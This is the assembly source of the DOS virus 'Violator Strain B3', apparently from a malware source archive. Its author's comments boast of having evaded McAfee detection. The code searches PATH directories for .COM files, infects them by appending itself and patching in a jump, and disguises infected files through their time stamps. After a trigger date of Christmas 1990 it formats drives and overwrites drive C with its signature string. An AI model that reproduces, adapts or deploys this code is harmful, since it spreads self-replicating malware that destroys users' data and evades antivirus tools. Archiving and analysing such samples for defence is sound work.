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https://github.com/vxunderground/MalwareSourceCode
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442 lines
14 KiB
NASM
442 lines
14 KiB
NASM
;*****************************************************************************
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; Violator Strain B3
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;*****************************************************************************
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;
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; Notes: (Oct.24.9O)
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; ------------------
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;
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; (TJA) Bah! Sorry I released this late. Wanted to make sure all of the bugs
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; and shit were fixed...
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;
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; Well, I had to rewrite this one so that McAffee can't scan for it. Took me
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; a while, but I just re-did it from scratch and then after doing some
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; research, it turned out he was looking for something in the Data Segment.
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; So I just re-arranged a few things and voila! Instant unscannable virus!
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;
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; Also, for the INT filtering routine, I eliminated the extra bytes that do
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; a [MOV marker,1] where it was unnecessary. After I issue it once, I don't
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; have to keep MOVing it because it's still in memory right?
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;
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; Silly me wrote the original filter routine after I came home drunk from a
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; party, so I didn't take that into account. So we are one step close to having
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; K-K00L thrify kode...
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;
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; I also took out that stupid MOV_CX macro. It was bugging the shit out of me
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; becuase it served no purpose other than taking up extra space. MOV CX,virlen
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; does the exact same thing...
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;
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; Other Notes
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; -----------
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;
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; Thanx to RABID Pagan for some totally mondo ideas (Mutating Data Segment...)
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; I think I'll be popping that into strain B4
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;
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; Also, to Rick Dangerous, about Violator/2 TSR. I found the problem with your
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; TSR program. It was messy as hell!!! The CALL virus_begin was causing the
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; problems. I'll rewrite the TSR for ya ala THETSR methodology.
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;
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;*****************************************************************************
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;
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; Written by The High Evolutionary
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;
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; Copyright (c) 199O by The RABID Nat'nl Development Corp.
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; October, 24th, 199O
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;*****************************************************************************
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CODE SEGMENT
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ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
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ORG $+0100H
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VCODE: JMP virus
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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v_start equ $
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virus: PUSH CX
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MOV DX,OFFSET vir_dat ;This is where the virus data starts.
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CLD
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MOV SI,DX
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ADD SI,first_3
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MOV DI,OFFSET 100H
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MOV CX,3
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REPZ MOVSB
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MOV SI,DX
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MOV AH,30H
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MOV marker,1
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CALL filter
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CMP AL,0
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JNZ year_check
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JMP quit
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filter: CMP marker,1
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JE int_21
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CMP marker,2
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JE int_13
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CMP marker,3
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JE int_26
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RET
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int_21: INT 21H
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RET
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int_13: INT 13h
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RET
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int_26: INT 26h
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RET
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year_check:
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MOV AH,2AH ; Get date info
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MOV marker,1
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CALL filter
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CMP CX,year
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JGE month_check
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JMP infect
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month_check:
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CMP DH,month
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JGE day_check
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JMP infect
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day_check:
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CMP DL,day
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JGE kill_13
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JMP infect
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kill_13:
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MOV Al,counter
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CALL ala_13
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CMP counter,27
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JE re_format
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INC counter
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LOOP kill_13
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ala_13: MOV CH,0
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MOV DL,counter
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MOV AH,05h
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MOV DH,0
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MOV marker,2
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CALL filter
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RET
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;
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; I changed this routine, becuase in the original Violator, I rewrote the
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; data segment by calling it for the INT 26. All I did this time, was just
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; set BX to be an offset of my INTRO var. That way, when Drive C is formatted,
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; the Violator identifier string will be written everywhere... Kinda neat!
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;
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re_format:
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PUSHF
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MOV BX,OFFSET intro ; Changed it here...
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MOV DX,00
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MOV CX,800
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MOV AL,2
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MOV marker,3
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CALL filter
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POPF
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infect: PUSH ES
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MOV AH,2FH
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MOV marker,1
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CALL filter
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MOV [SI+old_dta],BX
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MOV [SI+old_dts],ES
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POP ES
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MOV DX,dta
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ADD DX,SI
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MOV AH,1AH
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CALL filter
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PUSH ES
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PUSH SI
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MOV ES,DS:2CH
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MOV DI,0
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find_path:
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POP SI
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PUSH SI
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ADD SI,env_str ;Point to "PATH=" string in data area
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LODSB
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MOV CX,OFFSET 8000H
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REPNZ SCASB
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MOV CX,4
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check_next_4:
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LODSB
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SCASB
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JNZ find_path
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LOOP check_next_4
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POP SI
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POP ES
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MOV [SI+path_ad],DI
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MOV DI,SI
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ADD DI,wrk_spc
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MOV BX,SI
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ADD SI,wrk_spc
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MOV DI,SI
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JMP SHORT slash_ok
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set_subdir:
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CMP WORD PTR [SI+path_ad],0
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JNZ found_subdir
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JMP all_done
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found_subdir:
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PUSH DS
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PUSH SI
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MOV DS,ES:2CH ;DS points to environment segment
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MOV DI,SI
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MOV SI,ES:[DI+path_ad] ;SI = PATH address
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ADD DI,wrk_spc ;DI points to file name workspace
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move_subdir:
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LODSB ;Get character
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CMP AL,';' ;Is it a ';' delimiter?
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JZ moved_one ;Yes, found another subdirectory
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CMP AL,0 ;End of PATH string?
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JZ moved_last_one ;Yes
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STOSB ;Save PATH marker into [DI]
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JMP SHORT move_subdir
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moved_last_one:
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MOV SI,0
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moved_one:
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POP BX ;Pointer to virus data area
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POP DS ;Restore DS
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MOV [BX+path_ad],SI ;Address of next subdirectory
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NOP
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CMP CH,'\' ;Ends with "\"?
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JZ slash_ok ;If yes
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MOV AL,'\' ;Add one, if not
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STOSB
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slash_ok:
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MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
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MOV SI,BX ;Restore SI
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ADD SI,f_spec ;Point to "*.COM"
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MOV CX,6
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REPZ MOVSB ;Move "*.COM",0 to workspace
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MOV SI,BX
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MOV AH,4EH
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MOV DX,wrk_spc
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ADD DX,SI ;DX points to "*.COM" in workspace
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MOV CX,3 ;Attributes of Read Only or Hidden
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CALL filter
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JMP SHORT find_first
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find_next:
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MOV AH,4FH
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CALL filter
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find_first:
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JNB found_file ;Jump if we found it
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JMP SHORT set_subdir ;Otherwise, get another subdirectory
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found_file:
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MOV AX,[SI+dta_tim] ;Get time from DTA
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AND AL,1CH
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CMP AL,1CH
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JZ find_next ;If so, go find another file
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CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
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JA find_next ;If too long, find another one
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CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
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JB find_next ;Then go find another one
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MOV DI,[SI+nam_ptr] ;DI points to file name
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PUSH SI ;Save SI
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ADD SI,dta_nam ;Point SI to file name
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more_chars:
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LODSB
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STOSB
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CMP AL,0
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JNZ more_chars ;Move characters until we find a 00
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POP SI
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MOV AX,OFFSET 4300H
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MOV DX,wrk_spc ;Point to \path\name in workspace
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ADD DX,SI
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CALL filter
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MOV [SI+old_att],CX ;Save the old attributes
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MOV AX,OFFSET 4301H ;Set attributes
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AND CX,OFFSET 0FFFEH
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MOV DX,wrk_spc ;Offset of \path\name in workspace
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ADD DX,SI ;Point to \path\name
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CALL filter
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MOV AX,OFFSET 3D02H ;Read/Write
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MOV DX,wrk_spc ;Offset to \path\name in workspace
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ADD DX,SI ;Point to \path\name
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CALL filter
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JNB opened_ok ;If file was opened OK
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JMP fix_attr ;If it failed, restore the attributes
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opened_ok:
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INC times ; INC the number of times we infected
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MOV BX,AX
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MOV AX,OFFSET 5700H
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CALL filter
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MOV [SI+old_tim],CX ;Save file time
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MOV [SI+ol_date],DX ;Save the date
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MOV AH,2CH
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CALL filter
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MOV AH,3FH
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MOV CX,3
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MOV DX,first_3
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ADD DX,SI
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CALL filter
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JB fix_time_stamp ;Quit, if read failed
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CMP AX,3 ;Were we able to read all 3 bytes?
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JNZ fix_time_stamp ;Quit, if not
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MOV AX,OFFSET 4202H
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MOV CX,0
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MOV DX,0
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CALL filter
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JB fix_time_stamp ;Quit, if it didn't work
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MOV CX,AX ;DX:AX (long int) = file size
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SUB AX,3 ;Subtract 3 (DX must be 0, here)
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MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP inst
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ADD CX,OFFSET c_len_y
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MOV DI,SI ;Point DI to virus data area
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SUB DI,OFFSET c_len_x
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MOV [DI],CX
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MOV AH,40H
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MOV CX,virlen ;Bah! Took out the stupid macro!!!
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MOV DX,SI
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SUB DX,OFFSET codelen ;Length of virus code, gives starting
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;address of virus code in memory
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CALL filter
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JB fix_time_stamp ;Jump if error
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CMP AX,OFFSET virlen ;All bytes written?
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JNZ fix_time_stamp ;Jump if error
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MOV AX,OFFSET 4200H
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MOV CX,0
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MOV DX,0
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CALL filter
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JB fix_time_stamp ;Jump if error
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MOV AH,40H
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MOV CX,3
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MOV DX,SI ;Virus data area
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ADD DX,jmp_op ;Point to the reconstructed JMP
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CALL filter
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fix_time_stamp:
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MOV DX,[SI+ol_date] ;Old file date
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MOV CX,[SI+old_tim] ;Old file time
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AND CX,OFFSET 0FFE0H
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OR CX,1CH
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MOV AX,OFFSET 5701H
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CALL filter
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MOV AH,3EH
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CALL filter
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fix_attr:
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MOV AX,OFFSET 4301H
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MOV CX,[SI+old_att] ;Old Attributes
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MOV DX,wrk_spc
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ADD DX,SI ;DX points to \path\name in workspace
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CALL filter
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all_done:
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PUSH DS
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MOV AH,1AH
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MOV DX,[SI+old_dta]
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MOV DS,[SI+old_dts]
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CALL filter
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POP DS
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;*************************************************************************
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; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
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; in since the address in a real JMP 100 is an offset, and the offset
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; varies from one infected file to the next. By PUSHing an 0100H onto the
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; stack, we can RET to address 0100H just as though we JMPed there.
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;************************************************************************
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quit:
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POP CX
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XOR AX,AX
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XOR BX,BX
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XOR DX,DX
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XOR SI,SI
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MOV DI,OFFSET 0100H
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PUSH DI
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XOR DI,DI
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RET 0FFFFH
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vir_dat EQU $
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year DW 1990 ;Set year to 1990
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;
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; MASM considers a DB value greater than 255 illegal. So I just make the year
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; into a Data Word. That way, I can still keep the year as part of the data
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; segment for easier modification.
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;
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; Just for anyone who is curious out there...
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;
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month DB 12 ;Set month to December
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day DB 25 ;Set day to Christmas
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intro DB 'Violator Strain B3 - RABID Nat''nl Development Corp.'
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marker DB 0 ;Marker for INT purposes
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counter DB 2 ;Counter for drives
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times DB 0
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olddta_ DW 0
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olddts_ DW 0
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oldtim_ DW 0
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oldate_ DW 0
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oldatt_ DW 0
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first3_ EQU $
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INT 20H
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NOP
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jmpop_ DB 0E9H
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jmpdsp_ DW 0
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pathad_ DW 0
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namptr_ DW 0
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envstr_ DB 'PATH='
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fspec_ DB '*.COM',0
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wrkspc_ DB 40h dup (0)
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dta_ DB 16h dup (0)
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dtatim_ DW 0,0
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dtalen_ DW 0,0
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dtanam_ DB 0Dh dup (0)
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lst_byt EQU $
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virlen = lst_byt - v_start
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codelen = vir_dat - v_start
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c_len_x = vir_dat - v_start - 2
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c_len_y = vir_dat - v_start + 100H
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old_dta = olddta_ - vir_dat
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old_dts = olddts_ - vir_dat
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old_tim = oldtim_ - vir_dat
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ol_date = oldate_ - vir_dat
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old_att = oldatt_ - vir_dat
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first_3 = first3_ - vir_dat
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jmp_op = jmpop_ - vir_dat
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jmp_dsp = jmpdsp_ - vir_dat
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f_spec = fspec_ - vir_dat
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path_ad = pathad_ - vir_dat
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nam_ptr = namptr_ - vir_dat
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env_str = envstr_ - vir_dat
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wrk_spc = wrkspc_ - vir_dat
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dta = dta_ - vir_dat
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dta_tim = dtatim_ - vir_dat
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dta_len = dtalen_ - vir_dat
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dta_nam = dtanam_ - vir_dat
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CODE ENDS
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END VCODE
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; The End ? Stay tuned, true believers, for Violator Strain Be-fore... |